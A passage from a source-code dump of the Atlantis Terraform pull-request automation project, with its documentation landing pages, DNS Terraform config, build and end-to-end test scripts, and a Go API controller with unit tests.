Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md). * If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md). ::: tip Looking for the full docs? Go here: [www.runatlantis.io/docs](./docs.md) ::: ## Overview – What Is Atlantis? Atlantis is an application for automating Terraform via pull requests. It is deployed as a standalone application into your infrastructure. No third-party has access to your credentials. Atlantis listens for GitHub, GitLab or Bitbucket webhooks about Terraform pull requests. It then runs `terraform plan` and comments with the output back on the pull request. When you want to apply, comment `atlantis apply` on the pull request and Atlantis will run `terraform apply` and comment back with the output. ## Watch Check out the video below to see it in action: [![Atlantis Walkthrough](./guide/images/atlantis-walkthrough-icon.png)](https://www.youtube.com/watch?v=TmIPWda0IKg) ## Why would you run Atlantis? ### Increased visibility When everyone is executing Terraform on their own computers, it's hard to know the current state of your infrastructure: * Is what's in `main` branch deployed? * Did someone forget to create a pull request for that latest change? * What was the output from that last `terraform apply`? With Atlantis, everything is visible on the pull request. You can view the history of everything that was done to your infrastructure. ### Enable collaboration with everyone You probably don't want to distribute Terraform credentials to everyone in your engineering organization, but now anyone can open up a Terraform pull request. You can require approval before the pull request is applied so nothing happens accidentally. ### Review Terraform pull requests better You can't fully review a Terraform change without seeing the output of `terraform plan`. Now that output is added to the pull request automatically. ### Standardize your workflows Atlantis locks a directory/workspace until the pull request is merged or the lock is manually deleted. This ensures that changes are applied in the order expected. The exact commands that Atlantis runs are configurable. You can run custom scripts to construct your ideal workflow. ## Next Steps * If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md). * If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md). * If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md). ================================================ FILE: runatlantis.io/index.md ================================================ --- # https://vitepress.dev/reference/default-theme-home-page layout: home pageClass: home-custom hero: name: Atlantis text: Terraform Pull Request Automation tagline: Running Terraform Workflows with Ease image: /hero.png actions: - theme: brand text: Get Started link: /guide - theme: alt text: What is Atlantis? link: /blog/2017/introducing-atlantis - theme: alt text: Join us on Slack link: https://slack.cncf.io/ features: - title: Fewer Mistakes details: "Catch errors in Terraform plan output before applying changes. Ensure changes are applied before merging." icon: ✅ - title: Empower Developers details: "Developers can safely submit Terraform pull requests without credentials. Require approvals for applies." icon: 💻 - title: Instant Audit Logs details: "Detailed logs for infrastructure changes, approvals, and user actions. Configure approvals for production changes." icon: 📋 - title: Proven at Scale details: "Used by top companies to manage over 600 repos with 300 developers. In production since 2017." icon: 🌍 - title: Self-Hosted details: "Your credentials remain secure. Deployable on VMs, Kubernetes, Fargate, etc. Supports GitHub, GitLab, Bitbucket, Azure DevOps." icon: ⚙️ - title: Open Source details: "Atlantis is an open source project with strong community support, powered by volunteer contributions." icon: 🌐 --- ================================================ FILE: runatlantis.io/terraform/main.tf ================================================ // This project sets up DNS entries for runatlantis.io. The site is hosted // on Netlify. provider "aws" { region = "us-east-1" } terraform { backend "s3" { bucket = "lkysow-terraform-states" key = "runatlantis/atlantis/website" region = "us-east-1" } } variable "www_domain_name" { default = "www.runatlantis.io" } variable "root_domain_name" { default = "runatlantis.io" } resource "aws_route53_zone" "zone" { name = var.root_domain_name } resource "aws_route53_record" "www" { zone_id = aws_route53_zone.zone.zone_id name = var.www_domain_name type = "CNAME" ttl = "300" records = ["runatlantis.netlify.com"] } resource "aws_route53_record" "root" { zone_id = aws_route53_zone.zone.zone_id // Note the name is blank here. name = "" type = "A" ttl = "300" // This IP is for Netlify. records = ["104.198.14.52"] } // MailGun Records resource "aws_route53_record" "mailgun_txt_0" { zone_id = aws_route53_zone.zone.zone_id name = "" type = "TXT" ttl = "300" records = ["v=spf1 include:mailgun.org include:servers.mcsv.net ~all"] } resource "aws_route53_record" "mailgun_txt_1" { zone_id = aws_route53_zone.zone.zone_id name = "krs._domainkey" type = "TXT" ttl = "300" records = ["k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDW6rVlC11aSUQuUia02QRPkW2C1wLU/23Mx1PZHATpYSgLMo91MhVip1V1uVsC/rhqsvLiR6l0Cv/x7dG0lNQf3UPfn8Ld1qnjY66+HGt6crnuBJ6kpWYNRSVOlUU8tJrp6I0yNqvxDV689lI+HflyxCA1JP2SR5A9bL1oYJH64QIDAQAB"] } resource "aws_route53_record" "mailgun_mx" { zone_id = aws_route53_zone.zone.zone_id name = "" type = "MX" ttl = "300" records = ["10 mxa.mailgun.org", "10 mxb.mailgun.org"] } resource "aws_route53_record" "mailgun_cname" { zone_id = aws_route53_zone.zone.zone_id name = "email" type = "CNAME" ttl = "300" records = ["mailgun.org"] } resource "aws_route53_record" "mailchimp_cname" { zone_id = aws_route53_zone.zone.zone_id name = "k1._domainkey" type = "CNAME" ttl = "300" records = ["dkim.mcsv.net"] } ================================================ FILE: runatlantis.io/terraform/versions.tf ================================================ terraform { required_version = ">= 0.12" } ================================================ FILE: scripts/addlicense.sh ================================================ #!/usr/bin/env bash # Copyright 2025 The Atlantis Authors # SPDX-License-Identifier: Apache-2.0 set -euo pipefail if [[ "${1:-}" == "--check" ]]; then echo "checking SPDX headers..." MODE="-check" else echo "adding/updating SPDX headers..." MODE="" fi addlicense $MODE \ -s=only \ -c "The Atlantis Authors" \ $(find . -name '*.go' | grep -v _mock) ================================================ FILE: scripts/coverage.sh ================================================ #!/bin/sh # Taken and modified from https://github.com/mlafeldt/chef-runner/blob/v0.7.0/script/coverage # Generate test coverage statistics for Go packages. # # Works around the fact that `go test -coverprofile` currently does not work # with multiple packages, see https://code.google.com/p/go/issues/detail?id=6909 # # Usage: coverage.sh packages... # Example: coverage.sh github.com/runatlantis/atlantis github.com/runatlantis/atlantis/testdrive # set -e workdir=.cover profile="$workdir/cover.out" mode=count generate_cover_data() { rm -rf "$workdir" mkdir "$workdir" pkgs=$@ for pkg in $pkgs; do f="$workdir/$(echo $pkg | tr / -).cover" go test -covermode="$mode" -coverprofile="$f" "$pkg" done echo "mode: $mode" >"$profile" grep -h -v "^mode:" "$workdir"/*.cover >>"$profile" } generate_cover_data $@ ================================================ FILE: scripts/download-release.sh ================================================ #!/bin/sh COMMAND_NAME=${1:-terraform} TARGETPLATFORM=${2:-"linux/amd64"} DEFAULT_VERSION=${3:-"1.8.0"} AVAILABLE_VERSIONS=${4:-"1.8.0"} case "${TARGETPLATFORM}" in "linux/amd64") ARCH=amd64 ;; "linux/arm64") ARCH=arm64 ;; "linux/arm/v7") ARCH=arm ;; *) echo "ERROR: 'TARGETPLATFORM' value unexpected: ${TARGETPLATFORM}"; exit 1 ;; esac for VERSION in ${AVAILABLE_VERSIONS}; do case "${COMMAND_NAME}" in "terraform") DOWNLOAD_URL_FORMAT=$(printf 'https://releases.hashicorp.com/terraform/%s/%s_%s' "$VERSION" "$COMMAND_NAME" "$VERSION") COMMAND_DIR=/usr/local/bin/terraform ;; "tofu") DOWNLOAD_URL_FORMAT=$(printf 'https://github.com/opentofu/opentofu/releases/download/v%s/%s_%s' "$VERSION" "$COMMAND_NAME" "$VERSION") COMMAND_DIR=/usr/local/bin/tofu ;; *) echo "ERROR: 'COMMAND_NAME' value unexpected: ${COMMAND_NAME}"; exit 1 ;; esac curl -LOs "${DOWNLOAD_URL_FORMAT}_linux_${ARCH}.zip" curl -LOs "${DOWNLOAD_URL_FORMAT}_SHA256SUMS" sed -n "/${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip/p" "${COMMAND_NAME}_${VERSION}_SHA256SUMS" | sha256sum -c mkdir -p "${COMMAND_DIR}/${VERSION}" unzip "${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip" -d "${COMMAND_DIR}/${VERSION}" ln -s "${COMMAND_DIR}/${VERSION}/${COMMAND_NAME}" "${COMMAND_DIR}/${COMMAND_NAME}${VERSION}" rm "${COMMAND_NAME}_${VERSION}_linux_${ARCH}.zip" rm "${COMMAND_NAME}_${VERSION}_SHA256SUMS" done ln -s "${COMMAND_DIR}/${DEFAULT_VERSION}/${COMMAND_NAME}" "${COMMAND_DIR}/${COMMAND_NAME}" ================================================ FILE: scripts/e2e.sh ================================================ #!/usr/bin/env bash set -euo pipefail IFS=$'\n\t' ATLANTIS_PID="" NGROK_PID="" function cleanup() { cleanupPid "$ATLANTIS_PID" cleanupPid "$NGROK_PID" } function cleanupPid() { local pid="$1" # Never set, no need to clean up if [[ "$pid" == "" ]] then return fi # Somehow pid was not number, just being careful if ! [[ "$pid" =~ ^[0-9]+$ ]] then return fi # Not currently running, no need to kill if ! ps -p "$pid" &>/dev/null then return fi kill $pid } # start atlantis server in the background and wait for it to start # It's the responsibility of the caller of this script to set the github, gitlab, etc. # permissions via environment variable ./atlantis server \ --data-dir="/tmp" \ --log-level="debug" \ --repo-allowlist="github.com/runatlantis/atlantis-tests,gitlab.com/runatlantis/atlantis-tests" \ --repo-config-json='{"repos":[{"id":"/.*/", "allowed_overrides":["apply_requirements","workflow"], "allow_custom_workflows":true}]}' \ &> /tmp/atlantis-server.log & ATLANTIS_PID=$! sleep 2 if ! ps -p "$ATLANTIS_PID" &>/dev/null then echo "Atlantis failed to start" cat /tmp/atlantis-server.log exit 1 fi echo "Atlantis is running..." # start ngrok in the background and wait for it to start ./ngrok config add-authtoken $NGROK_AUTH_TOKEN > /dev/null 2>&1 ./ngrok http 4141 > /tmp/ngrok.log 2>&1 & NGROK_PID=$! sleep 2 if ! ps -p "$NGROK_PID" &>/dev/null then cleanup echo "Ngrok failed to start" cat /tmp/ngrok.log exit 1 fi echo "Ngrok is running..." # find out what URL ngrok has given us export ATLANTIS_URL=$(curl -s 'http://localhost:4040/api/tunnels' | jq -r '.tunnels[] | select(.proto=="https") | .public_url') # Now we can start the e2e tests cd "${GITHUB_WORKSPACE:-$(git rev-parse --show-toplevel)}/e2e" echo "Running 'make build'" make build echo "Running e2e test: 'make run'" set +e estatus=0 make run if [[ $? -eq 0 ]] then echo "e2e tests passed" else echo "e2e tests failed" echo "atlantis logs:" cat /tmp/atlantis-server.log estatus=1 fi cleanup exit $estatus ================================================ FILE: scripts/fmt.sh ================================================ #!/usr/bin/env bash set -euo pipefail go install golang.org/x/tools/cmd/goimports@latest gobin="$(go env GOPATH)/bin" declare -r gobin declare -a files readarray -d '' files < <(find . -type f -name '*.go' ! -name 'mock_*' ! -path './vendor/*' ! -path '**/mocks/*' -print0) declare -r files output="$("${gobin}"/goimports -l "${files[@]}")" declare -r output if [[ -n "$output" ]]; then echo "These files had their 'import' changed - please fix them locally and push a fix" echo "$output" exit 1 fi ================================================ FILE: scripts/go-generate.sh ================================================ #!/bin/bash set -eou pipefail pkgs=$(go list ./... | grep -v mocks | grep -v matchers | grep -v e2e | grep -v static) for pkg in $pkgs; do echo "go generate $pkg" go generate "$pkg" done ================================================ FILE: scripts/pin_ci_terraform_providers.sh ================================================ #!/bin/bash # Script to pin terraform providers in e2e tests RANDOM_PROVIDER_VERSION="3.6.1" NULL_PROVIDER_VERSION="3.2.4" TEST_REPOS_DIR="server/controllers/events/testdata/test-repos" for file in $(find $TEST_REPOS_DIR -name '*.tf') do basename=$(basename $file) if [[ "$basename" == "versions.tf" ]] then continue fi if [[ "$basename" != "main.tf" ]] then echo "Found unexpected file: $file" exit 1 fi has_null_provider=false has_random_provider=false version_file="$(dirname $file)/versions.tf" for resource in $(cat $file | grep '^resource' | awk '{print $2}' | tr -d '"') do if [[ "$resource" == "null_resource" ]] then has_null_provider=true elif [[ "$resource" == "random_id" ]] then has_random_provider=true else echo "Unknown resource $resource in $file" exit 1 fi done if ! $has_null_provider && ! $has_random_provider then echo "No providers needed for $file" continue fi echo "Adding $version_file for $file" rm -f $version_file if $has_null_provider then echo 'provider "null" {}' >> $version_file fi if $has_random_provider then echo 'provider "random" {}' >> $version_file fi echo "terraform {" >> $version_file echo " required_providers {" >> $version_file if $has_random_provider then echo " random = {" >> $version_file echo ' source = "hashicorp/random"' >> $version_file echo " version = \"= $RANDOM_PROVIDER_VERSION\"" >> $version_file echo " }" >> $version_file fi if $has_null_provider then echo " null = {" >> $version_file echo ' source = "hashicorp/null"' >> $version_file echo " version = \"= $NULL_PROVIDER_VERSION\"" >> $version_file echo " }" >> $version_file fi echo " }" >> $version_file echo "}" >> $version_file done ================================================ FILE: server/controllers/api_controller.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers import ( "encoding/json" "fmt" "io" "net/http" "strings" "time" "github.com/go-playground/validator/v10" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" ) const atlantisTokenHeader = "X-Atlantis-Token" type APIController struct { APISecret []byte Locker locking.Locker `validate:"required"` Logger logging.SimpleLogging `validate:"required"` Parser events.EventParsing `validate:"required"` ProjectCommandBuilder events.ProjectCommandBuilder `validate:"required"` ProjectPlanCommandRunner events.ProjectPlanCommandRunner `validate:"required"` ProjectApplyCommandRunner events.ProjectApplyCommandRunner `validate:"required"` FailOnPreWorkflowHookError bool PreWorkflowHooksCommandRunner events.PreWorkflowHooksCommandRunner `validate:"required"` PostWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner `validate:"required"` RepoAllowlistChecker *events.RepoAllowlistChecker `validate:"required"` Scope tally.Scope `validate:"required"` VCSClient vcs.Client `validate:"required"` WorkingDir events.WorkingDir `validate:"required"` WorkingDirLocker events.WorkingDirLocker `validate:"required"` CommitStatusUpdater events.CommitStatusUpdater `validate:"required"` // SilenceVCSStatusNoProjects is whether API should set commit status if no projects are found SilenceVCSStatusNoProjects bool } type APIRequest struct { Repository string `validate:"required"` Ref string `validate:"required"` Type string `validate:"required"` PR int Projects []string Paths []struct { Directory string Workspace string } } func (a *APIRequest) getCommands(ctx *command.Context, cmdName command.Name, cmdBuilder func(*command.Context, *events.CommentCommand) ([]command.ProjectContext, error)) ([]command.ProjectContext, []*events.CommentCommand, error) { cc := make([]*events.CommentCommand, 0) for _, project := range a.Projects { cc = append(cc, &events.CommentCommand{ Name: cmdName, ProjectName: project, }) } for _, path := range a.Paths { cc = append(cc, &events.CommentCommand{ Name: cmdName, RepoRelDir: strings.TrimRight(path.Directory, "/"), Workspace: path.Workspace, }) } cmds := make([]command.ProjectContext, 0) for _, commentCommand := range cc { projectCmds, err := cmdBuilder(ctx, commentCommand) if err != nil { return nil, nil, fmt.Errorf("failed to build command: %v", err) } cmds = append(cmds, projectCmds...) } return cmds, cc, nil } func (a *APIController) apiReportError(w http.ResponseWriter, code int, err error) { response, _ := json.Marshal(map[string]string{ "error": err.Error(), }) a.respond(w, logging.Warn, code, "%s", string(response)) } func (a *APIController) Plan(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") request, ctx, code, err := a.apiParseAndValidate(r) if err != nil { a.apiReportError(w, code, err) return } err = a.apiSetup(ctx, command.Plan) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } result, err := a.apiPlan(request, ctx) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } defer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck if result.HasErrors() { code = http.StatusInternalServerError } // TODO: make a better response response, err := json.Marshal(result) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } a.respond(w, logging.Warn, code, "%s", string(response)) } func (a *APIController) Apply(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") request, ctx, code, err := a.apiParseAndValidate(r) if err != nil { a.apiReportError(w, code, err) return } err = a.apiSetup(ctx, command.Apply) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } // We must first make the plan for all projects _, err = a.apiPlan(request, ctx) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } defer a.Locker.UnlockByPull(ctx.HeadRepo.FullName, ctx.Pull.Num) // nolint: errcheck // We can now prepare and run the apply step result, err := a.apiApply(request, ctx) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } if result.HasErrors() { code = http.StatusInternalServerError } response, err := json.Marshal(result) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } a.respond(w, logging.Warn, code, "%s", string(response)) } type LockDetail struct { Name string ProjectName string ProjectRepo string ProjectRepoPath string PullID int `json:",string"` PullURL string User string Workspace string Time time.Time } type ListLocksResult struct { Locks []LockDetail } func (a *APIController) ListLocks(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") locks, err := a.Locker.List() if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } result := ListLocksResult{} for name, lock := range locks { lockDetail := LockDetail{ name, lock.Project.ProjectName, lock.Project.RepoFullName, lock.Project.Path, lock.Pull.Num, lock.Pull.URL, lock.User.Username, lock.Workspace, lock.Time, } result.Locks = append(result.Locks, lockDetail) } response, err := json.Marshal(result) if err != nil { a.apiReportError(w, http.StatusInternalServerError, err) return } a.respond(w, logging.Warn, http.StatusOK, "%s", string(response)) } func (a *APIController) apiSetup(ctx *command.Context, cmdName command.Name) error { pull := ctx.Pull baseRepo := ctx.Pull.BaseRepo headRepo := ctx.HeadRepo unlockFn, err := a.WorkingDirLocker.TryLock(baseRepo.FullName, pull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", cmdName) if err != nil { return err } ctx.Log.Debug("got workspace lock") defer unlockFn() // ensure workingDir is present _, err = a.WorkingDir.Clone(ctx.Log, headRepo, pull, events.DefaultWorkspace) if err != nil { return err } return nil } func (a *APIController) apiPlan(request *APIRequest, ctx *command.Context) (*command.Result, error) { cmds, cc, err := request.getCommands(ctx, command.Plan, a.ProjectCommandBuilder.BuildPlanCommands) if err != nil { return nil, err } if len(cmds) == 0 { ctx.Log.Info("determined there was no project to run plan in") // When silence is enabled and no projects are found, don't set any VCS status if !a.SilenceVCSStatusNoProjects { ctx.Log.Debug("setting VCS status to success with no projects found") if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { ctx.Log.Warn("unable to update plan status: %s", err) } if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update policy check status: %s", err) } if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update apply status: %s", err) } } else { ctx.Log.Debug("silence enabled and no projects found - not setting any VCS status") } return &command.Result{ProjectResults: []command.ProjectResult{}}, nil } // Update the combined plan commit status to pending if err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { ctx.Log.Warn("unable to update plan commit status: %s", err) } var projectResults []command.ProjectResult for i, cmd := range cmds { err = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i]) if err != nil { if a.FailOnPreWorkflowHookError { return nil, err } } res := events.RunOneProjectCmd(a.ProjectPlanCommandRunner.Plan, cmd) projectResults = append(projectResults, res) a.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck } return &command.Result{ProjectResults: projectResults}, nil } func (a *APIController) apiApply(request *APIRequest, ctx *command.Context) (*command.Result, error) { cmds, cc, err := request.getCommands(ctx, command.Apply, a.ProjectCommandBuilder.BuildApplyCommands) if err != nil { return nil, err } if len(cmds) == 0 { ctx.Log.Info("determined there was no project to run apply in") // When silence is enabled and no projects are found, don't set any VCS status if !a.SilenceVCSStatusNoProjects { ctx.Log.Debug("setting VCS status to success with no projects found") if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil { ctx.Log.Warn("unable to update plan status: %s", err) } if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { ctx.Log.Warn("unable to update policy check status: %s", err) } if err := a.CommitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update apply status: %s", err) } } else { ctx.Log.Debug("silence enabled and no projects found - not setting any VCS status") } return &command.Result{ProjectResults: []command.ProjectResult{}}, nil } // Update the combined apply commit status to pending if err := a.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil { ctx.Log.Warn("unable to update apply commit status: %s", err) } var projectResults []command.ProjectResult for i, cmd := range cmds { err = a.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cc[i]) if err != nil { if a.FailOnPreWorkflowHookError { return nil, err } } res := events.RunOneProjectCmd(a.ProjectApplyCommandRunner.Apply, cmd) projectResults = append(projectResults, res) a.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cc[i]) // nolint: errcheck } return &command.Result{ProjectResults: projectResults}, nil } func (a *APIController) apiParseAndValidate(r *http.Request) (*APIRequest, *command.Context, int, error) { if len(a.APISecret) == 0 { return nil, nil, http.StatusBadRequest, fmt.Errorf("ignoring request since API is disabled") } // Validate the secret token secret := r.Header.Get(atlantisTokenHeader) if secret != string(a.APISecret) { return nil, nil, http.StatusUnauthorized, fmt.Errorf("header %s did not match expected secret", atlantisTokenHeader) } // Parse the JSON payload bytes, err := io.ReadAll(r.Body) if err != nil { return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to read request") } var request APIRequest if err = json.Unmarshal(bytes, &request); err != nil { return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to parse request: %v", err.Error()) } if err = validator.New().Struct(request); err != nil { return nil, nil, http.StatusBadRequest, fmt.Errorf("request %q is missing fields", string(bytes)) } VCSHostType, err := models.NewVCSHostType(request.Type) if err != nil { return nil, nil, http.StatusBadRequest, err } cloneURL, err := a.VCSClient.GetCloneURL(a.Logger, VCSHostType, request.Repository) if err != nil { return nil, nil, http.StatusInternalServerError, err } baseRepo, err := a.Parser.ParseAPIPlanRequest(VCSHostType, request.Repository, cloneURL) if err != nil { return nil, nil, http.StatusBadRequest, fmt.Errorf("failed to parse request: %v", err) } // Check if the repo is allowlisted if !a.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { return nil, nil, http.StatusForbidden, fmt.Errorf("repo not allowlisted") } return &request, &command.Context{ HeadRepo: baseRepo, Pull: models.PullRequest{ Num: request.PR, BaseBranch: request.Ref, HeadBranch: request.Ref, HeadCommit: request.Ref, BaseRepo: baseRepo, }, Scope: a.Scope, Log: a.Logger, API: true, }, http.StatusOK, nil } func (a *APIController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) { response := fmt.Sprintf(format, args...) a.Logger.Log(lvl, response) w.WriteHeader(responseCode) fmt.Fprintln(w, response) } ================================================ FILE: server/controllers/api_controller_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers_test import ( "bytes" "encoding/json" "io" "net/http" "net/http/httptest" "testing" "time" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/controllers" . "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" . "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) const atlantisTokenHeader = "X-Atlantis-Token" const atlantisToken = "token" func TestAPIController_Plan(t *testing.T) { ac, projectCommandBuilder, projectCommandRunner := setup(t) cases := []struct { repository string ref string vcsType string pr int projects []string paths []struct { Directory string Workspace string } }{ { repository: "Repo", ref: "main", vcsType: "Gitlab", projects: []string{"default"}, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", pr: 1, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", paths: []struct { Directory string Workspace string }{ { Directory: ".", Workspace: "myworkspace", }, { Directory: "./myworkspace2", Workspace: "myworkspace2", }, }, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", pr: 1, projects: []string{"test"}, paths: []struct { Directory string Workspace string }{ { Directory: ".", Workspace: "myworkspace", }, }, }, } expectedCalls := 0 for _, c := range cases { body, _ := json.Marshal(controllers.APIRequest{ Repository: c.repository, Ref: c.ref, Type: c.vcsType, PR: c.pr, Projects: c.projects, Paths: c.paths, }) req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) req.Header.Set(atlantisTokenHeader, atlantisToken) w := httptest.NewRecorder() ac.Plan(w, req) ResponseContains(t, w, http.StatusOK, "") expectedCalls += len(c.projects) expectedCalls += len(c.paths) } projectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]()) projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]()) } func TestAPIController_Apply(t *testing.T) { ac, projectCommandBuilder, projectCommandRunner := setup(t) cases := []struct { repository string ref string vcsType string pr int projects []string paths []struct { Directory string Workspace string } }{ { repository: "Repo", ref: "main", vcsType: "Gitlab", projects: []string{"default"}, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", pr: 1, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", paths: []struct { Directory string Workspace string }{ { Directory: ".", Workspace: "myworkspace", }, { Directory: "./myworkspace2", Workspace: "myworkspace2", }, }, }, { repository: "Repo", ref: "main", vcsType: "Gitlab", pr: 1, projects: []string{"test"}, paths: []struct { Directory string Workspace string }{ { Directory: ".", Workspace: "myworkspace", }, }, }, } expectedCalls := 0 for _, c := range cases { body, _ := json.Marshal(controllers.APIRequest{ Repository: c.repository, Ref: c.ref, Type: c.vcsType, PR: c.pr, Projects: c.projects, Paths: c.paths, }) req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) req.Header.Set(atlantisTokenHeader, atlantisToken) w := httptest.NewRecorder() ac.Apply(w, req) ResponseContains(t, w, http.StatusOK, "") expectedCalls += len(c.projects) expectedCalls += len(c.paths) } projectCommandBuilder.VerifyWasCalled(Times(expectedCalls)).BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]()) projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Plan(Any[command.ProjectContext]()) projectCommandRunner.VerifyWasCalled(Times(expectedCalls)).Apply(Any[command.ProjectContext]()) } // TestAPIController_Plan_PreWorkflowHooksReceiveCorrectCommand verifies that when // calling the Plan API endpoint, the pre-workflow hooks receive a CommentCommand // with Name set to command.Plan (not the zero value which would be command.Apply). func TestAPIController_Plan_PreWorkflowHooksReceiveCorrectCommand(t *testing.T) { ac, _, _ := setup(t) // Get access to the pre-workflow hooks mock for verification preWorkflowHooksRunner := ac.PreWorkflowHooksCommandRunner.(*MockPreWorkflowHooksCommandRunner) body, _ := json.Marshal(controllers.APIRequest{ Repository: "Repo", Ref: "main", Type: "Gitlab", Projects: []string{"default"}, }) req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) req.Header.Set(atlantisTokenHeader, atlantisToken) w := httptest.NewRecorder() ac.Plan(w, req) ResponseContains(t, w, http.StatusOK, "") // Capture the CommentCommand passed to RunPreHooks and verify Name is Plan _, capturedCmd := preWorkflowHooksRunner.VerifyWasCalled(Times(1)). RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]()). GetCapturedArguments() Assert(t, capturedCmd.Name == command.Plan, "expected CommentCommand.Name to be Plan (%d), got %s (%d)", command.Plan, capturedCmd.Name.String(), capturedCmd.Name) } // TestAPIController_Apply_PreWorkflowHooksReceiveCorrectCommand verifies that when // calling the Apply API endpoint, the pre-workflow hooks receive a CommentCommand // with Name set to command.Apply for the apply phase (and command.Plan for the // plan phase that runs first). func TestAPIController_Apply_PreWorkflowHooksReceiveCorrectCommand(t *testing.T) { ac, _, _ := setup(t) // Get access to the pre-workflow hooks mock for verification preWorkflowHooksRunner := ac.PreWorkflowHooksCommandRunner.(*MockPreWorkflowHooksCommandRunner) body, _ := json.Marshal(controllers.APIRequest{ Repository: "Repo", Ref: "main", Type: "Gitlab", Projects: []string{"default"}, }) req, _ := http.NewRequest("POST", "", bytes.NewBuffer(body)) req.Header.Set(atlantisTokenHeader, atlantisToken) w := httptest.NewRecorder() ac.Apply(w, req) ResponseContains(t, w, http.StatusOK, "") // Apply calls apiPlan first (which runs pre-hooks with Plan), then apiApply (which runs pre-hooks with Apply) // So we expect 2 calls: first with Plan, second with Apply _, capturedCmds := preWorkflowHooksRunner.VerifyWasCalled(Times(2)). RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]()). GetAllCapturedArguments() Assert(t, len(capturedCmds) == 2, "expected 2 pre-workflow hook calls, got %d", len(capturedCmds)) Assert(t, capturedCmds[0].Name == command.Plan, "expected first CommentCommand.Name to be Plan (%d), got %s (%d)", command.Plan, capturedCmds[0].Name.String(), capturedCmds[0].Name) Assert(t, capturedCmds[1].Name == command.Apply, "expected second CommentCommand.Name to be Apply (%d), got %s (%d)", command.Apply, capturedCmds[1].Name.String(), capturedCmds[1].Name) } func 